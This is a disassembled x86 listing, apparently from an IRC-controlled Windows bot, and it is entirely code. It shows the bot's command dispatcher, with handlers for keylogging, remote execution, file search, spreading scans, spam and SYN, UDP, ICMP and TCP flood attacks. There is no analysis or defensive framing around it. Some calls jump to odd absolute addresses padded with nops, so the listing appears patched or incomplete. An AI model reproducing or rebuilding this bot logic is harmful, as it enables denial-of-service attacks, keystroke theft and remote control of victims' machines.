		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405D82

loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42B118
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B0A8
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B080
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B054
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 2670914h
		push	eax
		push	offset dword_42B020
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFE8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AFC8
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF7C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF50
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AF30
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------

loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]

loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AF0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40600E

loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset dword_42AED0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB074, ebx
		jz	short loc_40604E
		cmp	dword_4CB09C, ebx
		jz	short loc_40604E
		push	offset unk_42AE94
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------

loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE68
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE48
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1

loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx

loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------

loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx

loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------

loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42AE00
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2

loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42ADB8
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD98
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD6C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD50
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09

loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B534
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4067C5

loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------

loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_42ABC0
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4068F2

loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------

loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		call	near ptr 2670914h
		nop
		push	eax
		push	offset dword_42AB3C
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
